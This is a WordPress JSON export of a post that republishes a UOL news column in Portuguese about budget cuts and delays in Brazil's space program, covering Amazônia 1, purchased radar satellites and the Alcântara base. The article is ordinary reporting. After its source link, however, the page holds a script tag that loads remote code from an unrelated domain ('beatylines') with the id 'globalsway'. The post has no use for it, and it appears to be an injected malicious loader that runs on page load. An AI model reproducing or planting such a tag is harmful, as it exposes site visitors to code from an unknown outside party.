{"id":3024,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/sem-recursos-programa-espacial-brasileiro-empaca-e-vive-atraso\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"sem-recursos-programa-espacial-brasileiro-empaca-e-vive-atraso","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/sem-recursos-programa-espacial-brasileiro-empaca-e-vive-atraso\/","title":{"rendered":"Sem recursos, programa espacial brasileiro empaca e vive atraso"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>A redu\u00e7\u00e3o do or\u00e7amento ao longo dos \u00faltimos anos fez o programa espacial brasileiro encolher e enfrentar um atraso tecnol\u00f3gico em rela\u00e7\u00e3o a outros pa\u00edses do mundo. Especialistas ouvidos pela coluna e a AEB (Ag\u00eancia Espacial Brasileira) afirmam que o Brasil deixou de tentar a soberania nessa \u00e1rea e hoje tem uma depend\u00eancia de servi\u00e7os estrangeiros.<\/p>\n<p>Com baixo or\u00e7amento e sem grandes sat\u00e9lites em produ\u00e7\u00e3o, o programa mudou de foco e investe em nanossat\u00e9lites. Tamb\u00e9m pretende finalmente dar uso comercial ao Centro de Lan\u00e7amento de Alc\u00e2ntara, no Maranh\u00e3o, como se prometia ap\u00f3s a <a href=\"https:\/\/noticias.uol.com.br\/internacional\/ultimas-noticias\/2019\/03\/18\/bolsonaro-assina-acordo-e-eua-poderao-lancar-satelites-a-partir-do-brasil.htm\">assinatura do acordo de salvaguarda tecnol\u00f3gica com os EUA<\/a>, em mar\u00e7o de 2019. Desde ent\u00e3o, nenhuma empresa lan\u00e7ou foguete na base.<\/p>\n<p>A previs\u00e3o \u00e9 que, no fim deste ano, a sul-coreana <span>Innospace<\/span> fa\u00e7a o primeiro lan\u00e7amento privado de Alc\u00e2ntara. Com esse uso comercial da base, espera-se que haja uma capta\u00e7\u00e3o de recursos para reinvestir no programa espacial brasileiro.<\/p>\n<p>&#8220;N\u00f3s estamos procurando reposicionar e criar um setor econ\u00f4mico espacial&#8221;, diz o engenheiro e coronel Carlos Moura, presidente da AEB.<\/p>\n<h2>Cortes severos<\/h2>\n<p>Em 2011, o PNAE (Programa Nacional de Atividades Espaciais) 2012-2021 previa uma s\u00e9rie de projetos e um gasto de R$ 5,7 bilh\u00f5es. Encerrado o ciclo, s\u00f3 R$ 2 bilh\u00f5es foram destinados ao plano (sem descontar a infla\u00e7\u00e3o). Em 2021, por sinal, o programa teve o menor or\u00e7amento de sua hist\u00f3ria recente: R$ 87 milh\u00f5es.<\/p>\n<p>Para esta nova d\u00e9cada, a ag\u00eancia lan\u00e7ou um novo PNAE, que vai de 2022 a 2031. No documento, trabalha com cinco cen\u00e1rios or\u00e7ament\u00e1rios poss\u00edveis: desde R$ 1,2 bilh\u00e3o a 13,2 bilh\u00f5es \u2014valor que levaria o Brasil a ser &#8220;o pa\u00eds sul-americano l\u00edder no mercado espacial&#8221;. Hoje, por exemplo, estamos atr\u00e1s da Argentina.<\/p>\n<p>Com os cortes, o \u00faltimo grande projeto nacional foi para o espa\u00e7o no \u00faltimo dia 28 de fevereiro, quando o Brasil comemorou o <a href=\"https:\/\/www.uol.com.br\/tilt\/ultimas-noticias\/deutschewelle\/2021\/03\/03\/entenda-a-importancia-do-primeiro-satelite-100-brasileiro.htm\">lan\u00e7amento do primeiro sat\u00e9lite 100% nacional, o Amaz\u00f4nia 1<\/a>. Com recursos pingados, a produ\u00e7\u00e3o do sat\u00e9lite levou duas d\u00e9cadas e foi feita pelo Inpe (Instituto Nacional de Pesquisas Espaciais).<\/p>\n<p>A ideia do plano decenal 2012-21 era fazer outros dois sat\u00e9lites da linha (o Amaz\u00f4nia <span>1B<\/span> e o Amaz\u00f4nia 2), mas eles n\u00e3o sa\u00edram do papel. Est\u00e3o previstos (se houver boa verba) no novo plano decenal.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/38\/2021\/02\/28\/lancamento-do-amazonia-1-1614489149143_v2_750x421.png\" class=\"pinit-img\" alt=\"Lan\u00e7amento do Amaz\u00f4nia 1, da \u00cdndia - Reprodu\u00e7\u00e3o\/YouTube\/inpemct - Reprodu\u00e7\u00e3o\/YouTube\/inpemct\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Lan\u00e7amento do Amaz\u00f4nia 1, da \u00cdndia, em fevereiro<\/p>\n<p> <span>Imagem: Reprodu\u00e7\u00e3o\/YouTube\/inpemct<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>Erro estrat\u00e9gico<\/h2>\n<p>Para Ronaldo Carmona, professor da ESG (Escola Superior de Guerra) e da p\u00f3s-gradua\u00e7\u00e3o de engenharia aeroespacial da UFMA (Universidade Federal do Maranh\u00e3o), a falta de recursos \u00e9 que fez o Brasil deixar de evoluir na \u00e1rea, j\u00e1 que <span>tem expertise e m\u00e3o de <\/span><span>obra<\/span>.<\/p>\n<p>&#8220;Quando o nosso programa surgiu, nos anos 1960, ele era do mesmo porte da \u00cdndia, e hoje eles est\u00e3o muitas vezes \u00e0 nossa frente. N\u00f3s estamos empacados&#8221;, afirma.<\/p>\n<p>Para Carmona, o pa\u00eds hoje \u00e9 dependente de tecnologia espacial estrangeira. &#8220;Isso \u00e9 um erro estrat\u00e9gico que abrange muitos setores. A \u00e1rea espacial tem implica\u00e7\u00f5es na atividade econ\u00f4mica, na vida social, sem falar em assuntos de defesa&#8221;, diz.<\/p>\n<p>&#8220;Um pa\u00eds do porte do Brasil precisa ter um programa espacial completo. Isso \u00e9 algo latente, tendo em vista como evoluem as tecnologias e as for\u00e7as produtivas e de ver como est\u00e1 a situa\u00e7\u00e3o geral do mundo&#8221;, diz.<\/p>\n<p>Um dos servi\u00e7os dependentes \u00e9 o de GPS, fornecido pelos EUA. &#8220;N\u00e3o por acaso, China, R\u00fassia, \u00cdndia e Uni\u00e3o Europeia passaram a constituir sistemas pr\u00f3prios. \u00c9 um risco muito grande ficar na m\u00e3o de uma pot\u00eancia, que pode fazer uso geopol\u00edtico dessa tecnologia. A guerra da Ucr\u00e2nia est\u00e1 a\u00ed para provar isso&#8221;, explica.<\/p>\n<h2>Compras recentes<\/h2>\n<p>Sem investir na produ\u00e7\u00e3o de sat\u00e9lites, recentemente <a href=\"https:\/\/noticias.uol.com.br\/colunas\/rubens-valente\/2020\/12\/31\/militares-contrato-sigiloso-compra-satelite.htm\">as For\u00e7as Armadas compraram dois sat\u00e9lites radar<\/a> de uma empresa da Finl\u00e2ndia por R$ 175 milh\u00f5es.<\/p>\n<p>O primeiro deles, o Carcar\u00e1 1, <a href=\"https:\/\/www.fab.mil.br\/noticias\/mostra\/39179\/TECNOLOGIA%20ESPACIAL%20-%20FAB%20lan%C3%A7a%20primeiros%20sat%C3%A9lites%20do%20Projeto%20Lessonia%20-%201\" target=\"_blank\" rel=\"noopener\">foi lan\u00e7ado em maio do Centro Espacial Kennedy<\/a>, no Cabo Canaveral, nos EUA. As imagens captadas por eles, afirma o governo, ser\u00e3o utilizadas em apoio no combate ao tr\u00e1fico de drogas e da minera\u00e7\u00e3o ilegal na Amaz\u00f4nia.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/b9\/2022\/08\/05\/25ma2022---lancamento-do-satelite-carcara-1-foi-acompanhado-por-militares-de-brasilia-1659733973064_v2_750x421.jpg\" class=\"pinit-img\" alt=\"25.mai.2022 - Lan\u00e7amento do sat\u00e9lite Carcar\u00e1 1 foi acompanhado por militares de Bras\u00edlia   - Divulga\u00e7\u00e3o\/For\u00e7as Armadas - Divulga\u00e7\u00e3o\/For\u00e7as Armadas\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>25.mai.2022 &#8211; Lan\u00e7amento do sat\u00e9lite Carcar\u00e1 1 foi acompanhado por militares de Bras\u00edlia  <\/p>\n<p> <span>Imagem: Divulga\u00e7\u00e3o\/For\u00e7as Armadas<\/span><\/figcaption><\/figure>\n<\/div>\n<p><cite>Precisamos fomentar a ind\u00fastria nacional, mas temos uma contradi\u00e7\u00e3o: as necessidades urgentes. Precisamos de investimentos regulares por um longo per\u00edodo para desenvolver a capacidade nacional de produ\u00e7\u00e3o, mas temos necessidades para j\u00e1 e precisamos comprar fora.&#8221;<\/cite><br \/><strong>Ronaldo Carmona, da ESG<\/strong><\/p>\n<p>O ex-diretor do Inpe Ricardo Galv\u00e3o afirma que a compra revela que falta interesse em produzir sat\u00e9lites no principal \u00f3rg\u00e3o civil do programa. &#8220;O Inpe n\u00e3o tem hoje nenhum recurso para desenvolvimento de sat\u00e9lites. Isso \u00e9 algo in\u00e9dito&#8221;, diz.<\/p>\n<p>Ele diz que sat\u00e9lites como os comprados pelo Minist\u00e9rio da Defesa poderiam ter sido feitos aqui. &#8220;Com o programa CBERS [em parceria com a China] e o desenvolvimento do sat\u00e9lite Amaz\u00f4nia, o Inpe dominou todo o ciclo de produ\u00e7\u00e3o de sat\u00e9lites, com uma equipe de 60 engenheiros&#8221;, ressalta.<\/p>\n<p>Segundo ele, usar o instituto para produzir apenas nanossat\u00e9lites \u00e9 um desperd\u00edcio para a na\u00e7\u00e3o. &#8220;Um nanossat\u00e9lite tem o tamanho de uma caixa de sapato, \u00e9 pouco para um Inpe. Sem contar que isso as universidades aqui j\u00e1 fazem. Esses equipamentos n\u00e3o atendem \u00e0s nossas demandas de sat\u00e9lite&#8221;, diz.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/de\/2021\/02\/27\/satelite-amazonia-1-1614436228044_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Sat\u00e9lite Amaz\u00f4nia 1 sendo desenvolido no INPE - Inpe - Inpe\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Sat\u00e9lite Amaz\u00f4nia 1 em desenvolvimento no Inpe<\/p>\n<p> <span>Imagem: Inpe<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>Retomada de competitividade<\/h2>\n<p>Carlos Brito, presidente da AEB, concorda que o pa\u00eds perdeu competitividade nos \u00faltimos anos. &#8220;Se pensarmos mais em mercados e ind\u00fastria, estamos aqu\u00e9m&#8221;, afirma.<\/p>\n<p>A ideia, diz, \u00e9 mudar isso a partir de agora. &#8220;A nossa ideia \u00e9 explorar o mercado de nanossat\u00e9lites e a vantagem geogr\u00e1fica que temos em Alc\u00e2ntara. N\u00f3s podemos atuar competitivamente nesse nicho e eventualmente crescer tamb\u00e9m no transporte espacial ou na produ\u00e7\u00e3o de sat\u00e9lites. A partir de 2018, aumentou muito essa tend\u00eancia de equipamentos menores.&#8221;<\/p>\n<p>Para isso, ele comemora o an\u00fancio de verbas extras do FNDCT (Fundo Nacional de Desenvolvimento Cient\u00edfico e Tecnol\u00f3gico) para o programa, que vai financiar dois projetos em um valor total acima de R$ 300 milh\u00f5es.<\/p>\n<p>Um deles \u00e9 o desenvolvimento do primeiro ve\u00edculo lan\u00e7ador de pequenos sat\u00e9lites, que ter\u00e1 R$ 190 milh\u00f5es em investimento. &#8220;O outro projeto que teremos \u00e9 de produ\u00e7\u00e3o de um sat\u00e9lite de sensoriamento remoto \u00f3tico, que atende requisitos de defesa, meio ambiente e outros setores&#8221;, diz.<\/p>\n<p>Carlos Brito, coordenador do curso de Engenharia Aeroespacial da UFMA e chefe do projeto <span>CubeSat<\/span><span> <\/span><span>Aldebaran-I<\/span>, afirma que esse lan\u00e7ador previsto tem promessa de voo inaugural para 2025 e deve ser um marco para o programa nacional.<\/p>\n<p><cite>O projeto sinaliza a mudan\u00e7a de estrat\u00e9gia do Brasil para se adequar \u00e0s transforma\u00e7\u00f5es do mercado espacial mundial que ocorreram na \u00faltima d\u00e9cada<span>.<\/span>&#8220;<\/cite><br \/><strong>Carlos Brito, da UFMA<\/strong><\/p>\n<p>Para ele, a estrat\u00e9gia de buscar se inserir no novo mercado espacial \u00e9 uma decis\u00e3o acertada. &#8220;Os neg\u00f3cios feitos com pequenos sat\u00e9lites geraram uma receita de cerca de US$ 4 bilh\u00f5es em 2020. H\u00e1 previs\u00f5es de que em 2031 essa receita aumente para at\u00e9 US$ 12,9 bilh\u00f5es&#8221;, afirma.<\/p>\n<h2>\u00c9 preciso estruturar Alc\u00e2ntara<\/h2>\n<p>Para que esse mercado se desenvolva, diz Brito, \u00e9 preciso melhorar o entorno da base<span> de Alc\u00e2ntara<\/span>. &#8220;Apesar de estar preparado para receber essas empresas, h\u00e1 alguns desafios a serem trabalhados em conjunto e com determina\u00e7\u00e3o, como a log\u00edstica para o munic\u00edpio&#8221;, diz.<\/p>\n<p>Ele cita que a cidade precisa dar condi\u00e7\u00f5es melhores de com\u00e9rcio para suprir as necessidades dos estrangeiros, sem que dependam da capital S\u00e3o Lu\u00eds.<\/p>\n<p>&#8220;Esperamos que a Federa\u00e7\u00e3o das Ind\u00fastrias, o governo do Estado e outras autarquias \u2014como a AEB e a <span>UFMA\u2014<\/span> possam se sensibilizar e apoiar as implanta\u00e7\u00f5es e reformas para melhorar as condi\u00e7\u00f5es de acesso e da pr\u00f3pria infraestrutura.&#8221;<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x1 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/40\/2022\/03\/12\/mapa-de-lancamento-alcantara-750-1647109028917_v2_750x1.jpg\" class=\"pinit-img\" alt=\"mapa - Arte\/UOL - Arte\/UOL\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;750x1&quot;,&quot;md&quot;:&quot;750x1&quot;,&quot;lg&quot;:&quot;750x1&quot;}\" width=\"750\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.13333333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-credit\"><span>Imagem: Arte\/UOL<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Sobre Alc\u00e2ntara, Carlos Moura, da AEB, diz que gostaria que o centro j\u00e1 estivesse operando h\u00e1 mais tempo, mas h\u00e1 quest\u00f5es burocr\u00e1ticas a serem levadas em conta, como a falta de uma empresa p\u00fablica para &#8220;vender&#8221; a \u00e1rea.<\/p>\n<p>&#8220;Talvez a maior dificuldade esteja nos nossos arranjos de governo. H\u00e1 coisas mais f\u00e1ceis, como a AEB, que atualizou seu regramento de seguran\u00e7a e o colocou em linha com o que quer a ag\u00eancia americana. Mas \u00e9 preciso ter uma empresa governamental que possa fazer a comercializa\u00e7\u00e3o do centro&#8221;, explica.<\/p>\n<\/p><\/div>\n<p><script>!function (f, b, e, v, n, t, s) {\n                    if (f.fbq) return;\n                    n = f.fbq = function () {\n                        n.callMethod ?\n                            n.callMethod.apply(n, arguments) : n.queue.push(arguments)\n                    };\n                    if (!f._fbq) f._fbq = n;\n                    n.push = n;\n                    n.loaded = !0;\n                    n.version = '2.0';\n                    n.queue = [];\n                    t = b.createElement(e);\n                    t.async = !0;\n                    t.src = v;\n                    s = b.getElementsByTagName(e)[0];\n                    s.parentNode.insertBefore(t, s)\n                }(window, document, 'script', 'https:\/\/connect.facebook.net\/en_US\/fbevents.js');\n                fbq('init', '1425099884432564');\n                fbq('track', 'PageView');<\/script><br \/>\n<br \/><br \/>\n<br \/><a href=\"https:\/\/noticias.uol.com.br\/colunas\/carlos-madeiro\/2022\/08\/07\/sem-recursos-programa-espacial-brasileiro-empaca-e-vive-atraso-tecnologico.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A redu\u00e7\u00e3o do or\u00e7amento ao longo dos \u00faltimos anos fez o programa espacial brasileiro encolher e enfrentar um atraso tecnol\u00f3gico em rela\u00e7\u00e3o a outros pa\u00edses do mundo. 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